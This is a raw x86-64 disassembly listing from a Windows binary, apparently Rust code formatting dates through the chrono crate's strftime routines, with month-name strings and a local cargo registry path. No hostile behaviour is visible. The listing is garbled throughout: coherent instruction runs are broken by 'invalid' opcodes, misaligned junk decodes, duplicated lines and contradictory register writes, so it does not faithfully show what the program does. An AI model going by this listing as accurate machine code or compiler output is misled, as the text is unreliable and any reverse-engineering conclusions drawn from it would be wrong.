jmp 0x14014aa56
or dword [rax], eax
invalid
rol byte [rcx], 0
add byte [rcx - 0x77], al
invalid
or dword [rax], eax
add byte [rbx + 0x1dcbd], al
add byte [rax], al
je case.0x140148b47.6
out 0xd, eax
add byte [rax], al
out 0xd, eax
add byte [rax], al
mov byte [rsp + 0x20], 0
lea rcx, [rbp + 0x1c0]
push 3
pop rdx
mov r8, qword [rbp + 0x18]
mov r9d, esi
int1
int1
call fcn.140023f9f
jmp 0x14014aa4e
add byte [rax], al
add byte [rax], al
cmp dword [rbp + 0x1dc], 0
je case.0x140148b47.6
mov ecx, dword [rbp + 0x1dc]
call fcn.14014b1cc
lea rcx, [rbp + 0x1c0]
mov edx, eax
mov r8d, esi
call fcn.140023f44
xor dword [rsi + 0x3ee9ffed], ebx
or dword [rax], eax
invalid
xor dword [rsi + 0x3ee9ffed], ebx
or dword [rax], eax
add byte [rbx + 0x1bcbd], al
cmp dword [rbp + 0x1bc], 1
cmp dword [rbp + 0x1bc], 1
mov esp, 0x1000001
jne case.0x140148b47.6
mov byte [rsp + 0x20], 0
lea rcx, [rbp + 0x1c0]
lea ecx, [rbp + 0x1c0]
push 9
pop rdx
mov r8, qword [rbp + 0xb0]
mov r9d, esi
call fcn.140023f9f
jmp 0x14014aa4e
add dword [rax], eax
add byte [rax], al
je case.0x140148b47.6
mov ecx, dword [rbp + 0x1dc]
call fcn.14014b266
shr eax, 4
and al, 0x3f
lea rcx, [rbp + 0x1c0]
mov edx, eax
mov r8d, esi
call fcn.140023f44
jmp 0x14014aa56
cmp dword [rbp + 0x1dc], 0
je case.0x140148b47.6
add byte [rax], al
add byte [rax], al
mov ecx, dword [rbp + 0x1dc]
mov dl, 6
call fcn.140023ce4
lea rcx, [rbp + 0x1c0]
lea ecx, [rbp + 0x1c0]
lea ecx, [rbp + 0x1c0]
mov edx, eax
mov r8d, esi
call fcn.140023f44
jmp 0x14014aa56
invalid
add byte [rax + 0x10fbd], al
add byte [rax], al
je case.0x140148b47.6
mov byte [rsp + 0x20], 0
lea rcx, [rbp + 0x1c0]
lea ecx, [rbp + 0x1c0]
lea ecx, [rbp + 0x1c0]
add byte [rax], al
push 9
pop rdx
mov r8, qword [rbp + 0xa0]
mov r9d, esi
call fcn.140023f9f
jmp 0x14014aa4e
add byte [rax - 0x73], cl
invalid
lea rcx, [rbp + 0x1c0]
lea rdx, [0x1402887a0]
lea r8, [0x1402887a1]
call fcn.140004b33
mov eax, dword [rbp + 0xc0]
mov dword [rbp + 0xe0], eax
lea rax, [rbp + 0xe0]
mov qword [rbp + 0x1a8], rax
add byte [rax - 0x73], cl
add eax, 0xffedf01a
add byte [rax - 0x73], cl
add eax, 0xffedf01a
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x140], 2
and qword [rbp + 0x150], 0
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x158], 6
and qword [rbp + 0x160], 0
movabs rax, 0x800000020
mov qword [rbp + 0x168], rax
mov byte [rbp + 0x170], 3
jo 0x14014a259
add byte [rax], al
invalid
jo 0x14014a259
add byte [rax], al
add ecx, dword [rax - 0x73]
add eax, 0x13f9de
add byte [rbx], al
lea rax, [0x140289c40]
mov qword [rbp + 0x110], rax
push 1
pop rcx
mov qword [rbp + 0x118], rcx
lea rax, [rbp + 0x140]
mov qword [rbp + 0x130], rax
add dword [rax], eax
add byte [rax - 0x77], cl
lea edi, [rax]
add dword [rax], eax
add byte [rax - 0x73], cl
test dword [rax + 0x48000001], ebp
mov dword [rbp + 0x120], eax
add dword [rax], eax
add byte [rax - 0x77], cl
lea edi, [rax]
add dword [rax], eax
add byte [rax - 0x73], cl
test dword [rax + 0x48000001], ebp
mov dword [rbp + 0x120], eax
mov qword [rbp + 0x128], rcx
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x110]
call fcn.140004f43
jmp 0x14014aa4e
lea rax, [rbp + 0x64]
mov qword [rbp + 0x1a8], rax
lea rax, [0x14002f980]
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x140], 2
and qword [rbp + 0x150], 0
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax + 1], ebx
add byte [rax], al
add eax, 0x48000000
and dword [rbp + 0x160], 0
movabs rax, 0x900000020
mov qword [rbp + 0x168], rax
mov byte [rbp + 0x170], 3
lea rax, [0x140289c40]
mov qword [rbp + 0x110], rax
push 1
pop rcx
mov qword [rbp + 0x118], rcx
lea rax, [rbp + 0x140]
add byte [rax - 0x77], cl
test dword [rax], esi
add dword [rax], eax
add byte [rax - 0x77], cl
lea edi, [rax]
add dword [rax], eax
add byte [rax - 0x73], cl
test dword [rax + 0x48000001], ebp
mov dword [rbp + 0x120], eax
mov qword [rbp + 0x128], rcx
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x110]
call fcn.140004f43
test al, al
jne case.0x140148b47.6
lea rcx, [rbp + 0x1c0]
push 0x2d
pop rdx
call fcn.1401376a8
mov ecx, dword [rbp + 0x1dc]
call fcn.14014b1cc
lea rcx, [rbp + 0x1c0]
mov edx, eax
call fcn.140023efe
test al, al
jne case.0x140148b47.6
lea rcx, [rbp + 0x1c0]
push 0x2d
pop rdx
call fcn.1401376a8
mov ecx, dword [rbp + 0x1dc]
call fcn.14014b1dd
lea rcx, [rbp + 0x1c0]
mov edx, eax
call fcn.140023efe
test al, al
jne case.0x140148b47.6
lea rcx, [rbp + 0x1c0]
push 0x54
pop rdx
call fcn.1401376a8
mov eax, dword [rbp + 0xbc]
mov dword [rbp + 0x50], eax
lea rcx, [rbp + 0x1c0]
mov edx, dword [rbp + 0xc8]
enter 0, 0
call fcn.140023efe
test al, al
jne case.0x140148b47.6
lea rcx, [rbp + 0x1c0]
push 0x3a
pop rdx
call fcn.1401376a8
lea rcx, [rbp + 0x1c0]
mov edx, dword [rbp + 0xcc]
call fcn.140023efe
test al, al
jne case.0x140148b47.6
lea rcx, [rbp + 0x1c0]
push 0x3a
pop rdx
call fcn.1401376a8
lea rcx, [rbp + 0x1c0]
mov edx, dword [rbp + 0x74]
call fcn.140023efe
test al, al
jne case.0x140148b47.6
cmp dword [rbp + 0xbc], 0
je 0x14014aa2a
cmp dword [rbp + 0x78], 0
je 0x14014a666
cmp dword [rbp + 0x80], 0
je 0x14014a967
lea rax, [rbp + 0x50]
mov qword [rbp + 0x1a8], rax
lea rax, [0x140029230]
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x140], 2
and qword [rbp + 0x150], 0
mov qword [rbp + 0x158], 9
and qword [rbp + 0x160], 0
movabs rax, 0x800000020
mov qword [rbp + 0x168], rax
mov byte [rbp + 0x170], 3
lea rax, [0x14024e6b8]
mov qword [rbp + 0x110], rax
push 1
pop rcx
mov qword [rbp + 0x118], rcx
lea rax, [rbp + 0x140]
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], rcx
lea rax, [rbp + 0x1a8]
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rcx
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x110]
call fcn.140004f43
jmp 0x14014aa22
lea rcx, [rbp + 0x1c0]
mov edx, eax
call fcn.140023efe
test al, al
jne case.0x140148b47.6
lea rcx, [rbp + 0x1c0]
push 0x20
pop rdx
call fcn.14002356b
mov ecx, dword [rbp + 0x1dc]
call fcn.140023ca1
shr eax, 9
dec eax
cmp eax, 0xc
jae 0x14014af4a
shl rax, 4
lea rcx, str.JanFebMarAprJunJulAugSepOctNovDec
mov rdx, qword [rax + rcx]
lea r8, [rdx + 3]
lea rcx, [rbp + 0x1c0]
call fcn.1400232cf
lea rcx, [rbp + 0x1c0]
push 0x20
pop rdx
call fcn.14002356b
lea rcx, [rbp + 0x1c0]
mov edx, dword [rbp + 0xc4]
call fcn.140023efe
test al, al
jne case.0x140148b47.6
lea rcx, [rbp + 0x1c0]
mov rdx, qword [rbp + 0x38]
call fcn.140023efe
test al, al
jne case.0x140148b47.6
lea rcx, [rbp + 0x1c0]
push 0x20
pop rdx
call fcn.14002356b
lea rcx, [rbp + 0x1c0]
mov edx, dword [rbp + 0xc8]
call fcn.140023efe
test al, al
jne case.0x140148b47.6
lea rcx, [rbp + 0x1c0]
push 0x3a
pop rdx
call fcn.14002356b
lea rcx, [rbp + 0x1c0]
mov edx, dword [rbp + 0xcc]
call fcn.140023efe
test al, al
jne case.0x140148b47.6
lea rcx, [rbp + 0x1c0]
push 0x3a
pop rdx
call fcn.14002356b
lea rcx, [rbp + 0x1c0]
mov edx, dword [rbp + 0xb8]
call fcn.140023efe
test al, al
jne case.0x140148b47.6
lea rcx, [rbp + 0x1c0]
push 0x20
pop rdx
call fcn.14002356b
lea rcx, [0x1401d1148]
lea rdx, [rbp + 0x1c0]
mov r8, qword [rbp + 0xd0]
call fcn.140023d22
jmp 0x14014aa4e
mov eax, dword [rbp + 0x88]
mov dword [rbp + 0xe0], eax
lea rax, [rbp + 0xe0]
mov qword [rbp + 0x1a8], rax
lea rax, [0x140029230]
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x140], 2
and qword [rbp + 0x150], 0
mov qword [rbp + 0x158], 3
and qword [rbp + 0x160], 0
movabs rax, 0x800000020
or byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
mov qword [rbp + 0x168], rax
mov byte [rbp + 0x170], 3
lea rax, [0x14024e6b8]
mov qword [rbp + 0x110], rax
adc byte [rcx], al
add byte [rax], al
push 1
pop rcx
mov qword [rbp + 0x118], rcx
lea rax, [rbp + 0x140]
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], rcx
lea rax, [rbp + 0x1a8]
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rcx
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x110]
call fcn.140004f43
jmp 0x14014aa22
mov eax, dword [rbp + 0xc0]
mov dword [rbp + 0xe0], eax
lea rax, [rbp + 0xe0]
mov qword [rbp + 0x1a8], rax
lea rax, [0x140029230]
in eax, dx
dec dword [rax - 0x77]
test dword [rax + 0x48000001], esi
mov dword [rbp + 0x140], 2
and qword [rbp + 0x150], 0
mov qword [rbp + 0x158], 6
add dword [rax], eax
add byte [rsi], al
add byte [rax], al
add byte [rax - 0x7d], cl
movsd dword [rdi], dword [rsi]
invalid
add dword [rax], eax
add byte [rax], al
movabs rax, 0x800000020
or byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
mov qword [rbp + 0x168], rax
mov byte [rbp + 0x170], 3
lea rax, [0x140289c40]
mov qword [rbp + 0x110], rax
adc byte [rcx], al
add byte [rax], al
push 1
pop rcx
mov qword [rbp + 0x118], rcx
lea rax, [rbp + 0x140]
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], rcx
lea rax, [rbp + 0x1a8]
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rcx
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x110]
call fcn.140004f43
jmp 0x14014aa4e
mov rax, qword [rbp + 0xb0]
mov dword [rbp + 0xe0], eax
lea rax, [rbp + 0xe0]
mov qword [rbp + 0x1a8], rax
lea rax, [0x140029230]
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x140], 2
and qword [rbp + 0x150], 0
mov qword [rbp + 0x158], 9
pop rax
add dword [rax], eax
add byte [rcx], cl
add byte [rax], al
add byte [rax - 0x7d], cl
movsd dword [rdi], dword [rsi]
invalid
add dword [rax], eax
add byte [rax], al
movabs rax, 0x800000020
mov qword [rbp + 0x168], rax
mov byte [rbp + 0x170], 3
lea rax, [0x140289c40]
mov qword [rbp + 0x110], rax
push 1
pop rcx
mov qword [rbp + 0x118], rcx
lea rax, [rbp + 0x140]
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], rcx
lea rax, [rbp + 0x1a8]
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rcx
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x110]
call fcn.140004f43
jmp 0x14014aa4e
mov eax, dword [rbp + 0x8c]
mov dword [rbp + 0xe0], eax
lea rax, [rbp + 0xe0]
mov qword [rbp + 0x1a8], rax
test al, 1
add byte [rax], al
test al, 1
add byte [rax], al
lea rax, [0x140029230]
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x140], 2
and qword [rbp + 0x150], 0
add byte [rax - 0x39], cl
test dword [rax + 1], ebx
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax + 1], ebx
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
and qword [rbp + 0x160], 0
movabs rax, 0x800000020
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
mov qword [rbp + 0x168], rax
mov byte [rbp + 0x170], 3
lea rax, [0x140289c40]
adc eax, dword [rax]
mov qword [rbp + 0x110], rax
push 1
pop rcx
mov qword [rbp + 0x118], rcx
lea rax, [rbp + 0x140]
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], rcx
lea rax, [rbp + 0x1a8]
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rcx
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x110]
call fcn.140004f43
jmp 0x14014aa4e
add byte [rax], al
add byte [rax], al
mov eax, dword [rbp + 0x90]
mov dword [rbp + 0xe0], eax
lea rax, [rbp + 0xe0]
mov qword [rbp + 0x1a8], rax
lea rax, [0x140029230]
mov qword [rbp + 0x1b0], rax
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x140], 2
and qword [rbp + 0x150], 0
mov qword [rbp + 0x158], 6
and qword [rbp + 0x160], 0
movabs rax, 0x800000020
mov qword [rbp + 0x168], rax
mov byte [rbp + 0x170], 3
lea rax, [0x14024e6b8]
mov qword [rbp + 0x110], rax
push 1
pop rcx
mov qword [rbp + 0x118], rcx
lea rax, [rbp + 0x140]
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], rcx
lea rax, [rbp + 0x1a8]
mov qword [rbp + 0x120], rax
add dword [rax], eax
add byte [rax - 0x77], cl
lea ebp, [rax]
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
rol byte [rcx], 0
add byte [rax - 0x73], cl
xchg ebp, eax
adc byte [rcx], al
add byte [rax], al
call fcn.140004f43
add dword [rax], eax
add byte [rax - 0x77], cl
lea ebp, [rax]
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
test al, al
jne case.0x140148b47.6
mov dword [rbp + 0x140], 0x1010100
lea rcx, [rbp + 0x140]
lea rdx, [rbp + 0x1c0]
mov r8, qword [rbp + 0xd0]
call fcn.140023d22
test al, al
jne case.0x140148b47.6
lea rcx, [rbp + 0xf0]
call case.0x1400089d2.1252
jmp 0x140148aef
mov eax, dword [rbp + 0x94]
mov dword [rbp + 0xe0], eax
lea rax, [rbp + 0xe0]
mov qword [rbp + 0x1a8], rax
lea rax, [0x140029230]
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x140], 2
and qword [rbp + 0x150], 0
mov qword [rbp + 0x158], 6
and qword [rbp + 0x160], 0
movabs rax, 0x800000020
mov qword [rbp + 0x168], rax
mov byte [rbp + 0x170], 3
lea rax, [0x140289c40]
mov qword [rbp + 0x110], rax
mov dword [rbp + 0x110], eax
push 1
pop rcx
mov qword [rbp + 0x118], rcx
lea rax, [rbp + 0x140]
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], rcx
lea rax, [rbp + 0x1a8]
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rcx
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x110]
call fcn.140004f43
invalid
jmp 0x14014aa4e
lea r8, [0x1401d13b3]
push 2
pop r9
mov rcx, r13
mov rdx, rdi
call fcn.14003cd8c
test al, al
je 0x14014aba9
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_strftime.rs
push 2
pop r8
mov rcx, r13
mov rdx, rdi
call fcn.140023179
mov r13, rax
mov word [rbp + 0x140], 0x1005
jmp 0x14014ad2e
mov r14d, eax
cmp eax, 0x80
jae 0x14014ac0b
push 1
jmp 0x14014ac1a
cmp r14d, 0x800
jae 0x14014ac21
push 2
pop r8
jmp 0x14014ac30
cmp r14d, 0x800
jae 0x14014ac89
push 2
pop r8
jmp 0x14014ac98
lea r8, [rbp + 0x1a8]
mov dword [r8], 0x7a
push 1
pop r9
mov rcx, r13
mov rdx, rdi
call fcn.14003cd8c
test al, al
je case.default.0x140148f55
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_strftime.rs
push 1
pop r8
mov rcx, r13
mov rdx, rdi
call fcn.140023179
mov r13, rax
mov word [rbp + 0x140], 0xf05
jmp 0x14014ad2e
cmp r14d, 0x800
jae 0x14014acbe
push 2
pop r8
jmp 0x14014accd
cmp r14d, 0x800
jae 0x14014acf3
push 2
pop r8
jmp 0x14014ad02
cmp r14d, 0x10000
push 4
pop r8
sbb r8, 0
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_strftime.rs
mov rcx, r13
mov rdx, rdi
call fcn.140023179
mov qword [rbp + 0x1a0], rdx
mov r13, rax
cmp r14d, 0x33
je 0x14014ad9e
cmp r14d, 0x36
mov rdi, qword [rbp + 0x1a0]
je 0x14014ad3a
cmp r14d, 0x39
je 0x14014ad6c
cmp r14d, 0x66
jne case.default.0x140148f55
mov word [rbp + 0x140], 0xa05
jmp 0x140149454
cmp r14d, 0x10000
push 4
pop r8
sbb r8, 0
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_strftime.rs
mov rcx, r13
mov rdx, rdi
call fcn.140023179
mov r13, rax
mov al, 6
cmp r14d, 0x66
jne 0x14014ad28
mov byte [rbp + 0x141], 3
jmp 0x14014ad26
cmp r14d, 0x10000
push 4
pop r8
sbb r8, 0
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_strftime.rs
mov rcx, r13
mov rdx, rdi
call fcn.140023179
mov r13, rax
mov al, 6
cmp r14d, 0x66
jne 0x14014ad28
mov byte [rbp + 0x141], 1
jmp 0x14014ad26
cmp r14d, 0x10000
push 4
pop r8
sbb r8, 0
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_strftime.rs
mov rcx, r13
mov rdx, rdi
call fcn.140023179
mov r13, rax
mov al, 6
cmp r14d, 0x66
jne 0x14014ad28
mov byte [rbp + 0x141], 2
mov al, 5
mov byte [rbp + 0x140], al
mov al, 1
xor ebx, ebx
mov rdi, rdx
jmp 0x140149458
mov rax, r13
add rax, rdi
lea rcx, [rbp + 0x1a8]
mov qword [rcx], r13
mov qword [rcx + 8], rax
call fcn.140137f6d
cmp eax, 0x110000
je case.0x1400c4f7b.264
mov r14d, eax
cmp eax, 0x80
jae 0x14014add7
push 1
jmp 0x14014ade2
mov rax, r13
add rax, rdi
lea rcx, [rbp + 0x1a8]
mov qword [rcx], r13
mov qword [rcx + 8], rax
call fcn.140137f6d
cmp eax, 0x110000
je case.0x1400c4f7b.264
mov r14d, eax
cmp eax, 0x80
jae 0x14014ade6
push 1
jmp 0x14014adf1
mov rax, r13
mov rdi, qword [rbp + 0x1a0]
add rax, rdi
lea rcx, [rbp + 0x1a8]
mov qword [rcx], r13
mov qword [rcx + 8], rax
call fcn.140137f6d
cmp eax, 0x110000
je case.0x1400c4f7b.264
mov r14d, eax
cmp eax, 0x80
jae 0x14014adf5
push 1
jmp 0x14014ae00
cmp r14d, 0x800
jae 0x14014ae04
push 2
pop r8
jmp 0x14014ae13
cmp r14d, 0x800
jae 0x14014ae39
push 2
pop r8
jmp 0x14014ae48
cmp r14d, 0x800
jae 0x14014ae6e
push 2
pop r8
jmp 0x14014ae7d
cmp r14d, 0x10000
push 4
pop r8
sbb r8, 0
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_strftime.rs
mov rcx, r13
mov rdx, rdi
call fcn.140023179
mov r13, rax
mov al, 6
cmp r14d, 0x66
jne 0x14014aea3
mov byte [rbp + 0x141], 0xc
jmp 0x14014aea1
cmp r14d, 0x10000
push 4
pop r8
sbb r8, 0
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_strftime.rs
mov rcx, r13
mov rdx, rdi
call fcn.140023179
mov r13, rax
mov al, 6
cmp r14d, 0x66
jne 0x14014aea3
mov byte [rbp + 0x141], 0xd
jmp 0x14014aea1
cmp r14d, 0x10000
push 4
pop r8
sbb r8, 0
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_strftime.rs
mov rcx, r13
mov rdx, rdi
call fcn.140023179
mov r13, rax
mov al, 6
cmp r14d, 0x66
jne 0x14014aea3
mov byte [rbp + 0x141], 0xb
mov al, 5
mov byte [rbp + 0x140], al
mov rdi, rdx
jmp 0x140149454
lea rcx, [rbp + 0xf0]
call case.0x1400089d2.1252
test dil, dil
je 0x14014aef0
mov rdx, qword [rbp + 0x1c8]
mov r8, qword [rbp + 0x1d0]
lea rcx, [rbp - 0x58]
call fcn.140025500
mov ebx, eax
mov rcx, qword [rbp + 0x1c0]
mov rdx, qword [rbp + 0x1c8]
call fcn.14006095a
jmp 0x14014af05
mov rcx, qword [rbp + 0x1c0]
mov rdx, qword [rbp + 0x1c8]
call fcn.14006095a
mov bl, 1
mov ecx, ebx
call fcn.1401374c5
mov rax, qword [rbp - 8]
mov rcx, qword [rbp + 0xa8]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp - 0x18]
movups xmmword [rcx], xmm0
add rsp, 0x268
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_formatting.rs
push 7
pop rdx
call fcn.1401c6eb0
jmp 0x14014afd0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_formatting.rs
push 0xc
pop rdx
mov rcx, rax
call fcn.1401c6eb0
jmp 0x14014afd0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_formatting.rs
push 7
pop rdx
call fcn.1401c6eb0
jmp 0x14014afd0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_formatting.rs
push 7
pop rdx
call fcn.1401c6eb0
jmp 0x14014afd0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_formatting.rs
push 0xc
pop rdx
call fcn.1401c6eb0
jmp 0x14014afd0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_formatting.rs
push 0xc
pop rdx
call fcn.1401c6eb0
jmp 0x14014afd0
lea rcx, str.assertion_failed:_nextspec___0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_strftime.rs
push 0x1e
pop rdx
call fcn.1401c6f30
jmp 0x14014afd0
lea rcx, str.assertion_failed:_nextspec___0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_strftime.rs
push 0x1e
pop rdx
call fcn.1401c6f30
ud2
test sil, 1
jne 0x14014bacd
mov r13d, esi
shr r13d, 1
and r13d, 0x1f
cmp r13d, 0x1f
jne 0x14014b718
mov rcx, r15
call fcn.1400071d7
jmp 0x14014b7b5
cmp r13d, 0x1e
jne 0x14014b756
test r14, r14
jne 0x14014b756
and qword [rbp + 0x78], 0
mov byte [rbp + 0x10f], 1
mov ecx, 0x3e8
mov rdx, r12
call fcn.14013265f
mov r14, rax
mov r8d, 0x3e8
mov rcx, rax
xor edx, edx
call sub.VCRUNTIME140.dll_memset
xor ecx, ecx
call fcn.14000c3f3
test rbx, rbx
jne 0x14014b797
mov qword [rbp + 0x78], r14
mov byte [rbp + 0x10f], 1
mov ecx, 0x3e8
mov rdx, r12
call fcn.14013265f
mov rbx, rax
mov r8d, 0x3e8
mov rcx, rax
xor edx, edx
call sub.VCRUNTIME140.dll_memset
xor eax, eax
lock cmpxchg qword [rdi + 0x88], rbx
jne 0x14014b7c8
mov qword [rdi + 8], rbx
lea rcx, [rsi + 2]
mov rax, rsi
lock cmpxchg qword [rdi + 0x80], rcx
je 0x14014bbcd
mov rcx, r15
call fcn.14000c3fd
mov rsi, qword [rdi + 0x80]
mov rbx, qword [rdi + 0x88]
jmp 0x14014b6f1
mov rcx, r14
call fcn.14000c3f3
mov r14, rbx
jmp 0x14014b7b5
xor r13d, r13d
xor ebx, ebx
mov rsi, qword [rbp + 0x100]
mov r15, qword [rbp + 0xf0]
movabs r12, 0x8000000000000000
mov rcx, r14
call fcn.14000c3f3
test rbx, rbx
jne 0x14014bc13
mov rcx, qword [rsi]
cmp rcx, r12
je 0x14014bc6c
mov qword [rbp + 0xd8], rcx
movups xmm0, xmmword [rsi + 8]
movups xmmword [rbp + 0xe0], xmm0
mov rdx, qword [rbp + 0xe0]
jmp 0x14014bc88
cmp r13d, 0x1e
mov rsi, qword [rbp + 0x100]
jne 0x14014bad9
test r14, r14
mov r15, qword [rbp + 0xf0]
movabs r12, 0x8000000000000000
je 0x14014bf87
mov qword [rdi + 0x88], r14
lock add qword [rdi + 0x80], 2
mov qword [rbx + 0x3e0], r14
push 0x1e
pop r13
shl r13d, 5
mov rax, qword [rsi + 0x10]
mov qword [rbx + r13 + 0x10], rax
movups xmm0, xmmword [rsi]
movups xmmword [rbx + r13], xmm0
lock or qword [rbx + r13 + 0x18], 1
add rdi, 0x100
mov byte [rbp + 0x10b], 0
mov rcx, rdi
call fcn.14014c84b
jmp 0x14014bc6c
cmp rax, 2
jne 0x14014bc71
mov qword [r15], r12
jmp 0x14014bc9a
mov rcx, qword [rbp + 0xd8]
mov rdx, qword [rbp + 0xe0]
test rax, rax
je 0x14014bf4a
mov rax, qword [rbp + 0xe8]
mov qword [r15], rcx
mov qword [r15 + 8], rdx
mov qword [r15 + 0x10], rax
add rsp, 0x198
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
test dword [rax + 0x4c000000], eax
mov dword [rbp + 0x80], esp
cmp rax, r12
je 0x14014bfbd
lea rdx, [rbp - 0x10]
mov qword [rdx], rax
movups xmm0, xmmword [rbp + 0x88]
movups xmm1, xmmword [rbp + 0x98]
adc byte [rbp + 0x98], cl
adc byte [rbp + 0x98], cl
movups xmm2, xmmword [rbp + 0xa8]
movups xmmword [rdx + 8], xmm0
movups xmmword [rdx + 0x18], xmm1
movups xmmword [rdx + 0x28], xmm2
sub byte [rax - 0x75], cl
test dword [rax + 0x48000000], edi
mov dword [rdx + 0x38], eax
sub byte [rax - 0x75], cl
test dword [rax + 0x48000000], edi
mov dword [rdx + 0x38], eax
lea rcx, [rbp + 0x50]
lea r8, [rbp + 0xd0]
call fcn.14014c3e1
int 5
add byte [rax], al
lea rcx, [rbp + 0xd0]
call fcn.140006924
mov rax, qword [rbp + 0x50]
movups xmm0, xmmword [rbp + 0x58]
movaps xmmword [rbp + 0x30], xmm0
mov rcx, qword [rbp + 0x68]
mov qword [rbp + 0x40], rcx
cmp rax, 3
jne 0x14014bea8
call fcn.1401cba10
mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x80], r12
cmp rax, r12
loopne case.0x1400c4f9a.399
test byte [rdi + 1], al
add byte [rax], al
loopne case.0x1400c4f9a.399
test byte [rdi + 1], al
add byte [rax], al
lea rdx, [rbp - 0x10]
mov qword [rdx], rax
movups xmm0, xmmword [rbp + 0x88]
mov byte [rax], al
add byte [rax], al
mov byte [rax], al
add byte [rax], al
movups xmm1, xmmword [rbp + 0x98]
movups xmm2, xmmword [rbp + 0xa8]
movups xmmword [rdx + 8], xmm0
adc dword [rdx + 8], eax
adc dword [rdx + 8], eax
movups xmmword [rdx + 0x18], xmm1
movups xmmword [rdx + 0x28], xmm2
mov rax, qword [rbp + 0xb8]
add byte [rax], al
add byte [rax - 0x77], cl
cmp byte [rax - 0x73], cl
cmp byte [rax - 0x73], cl
invalid
rol byte [rax], 1
add byte [rax], al
lea r8, [rbp + 0x50]
call fcn.14014c3e1
lea rcx, [rbp + 0x50]
call fcn.140006924
jmp 0x14014bec5
cmp byte [rax - 0x73], cl
invalid
sbb eax, 0x404d8b48
mov rcx, qword [rbp + 0x40]
mov qword [rbp + 0xe8], rcx
movaps xmm0, xmmword [rbp + 0x30]
sub byte [rbp + 0x30], al
sub byte [rbp + 0x30], al
movups xmmword [rbp + 0xd8], xmm0
mov qword [rbp + 0xd0], rax
lea rcx, [rbp + 0x80]
call fcn.14014c7e8
mov rax, qword [rbp + 0xd0]
jmp 0x14014bc66
add byte [rdi], cl
adc byte [rcx], al
movups xmmword [rbp + 0xd8], xmm0
xor eax, eax
mov r15, qword [rbp + 0xf0]
movabs r12, 0x8000000000000000
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x2aa17], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x2aa17], al
dec dword [rax - 0x75]
mov eax, dword [rbp - 8]
mov eax, dword [rbp - 8]
mov cl, byte [rbp]
lea r8, [rbp + 0x80]
add byte [rcx - 0x77], cl
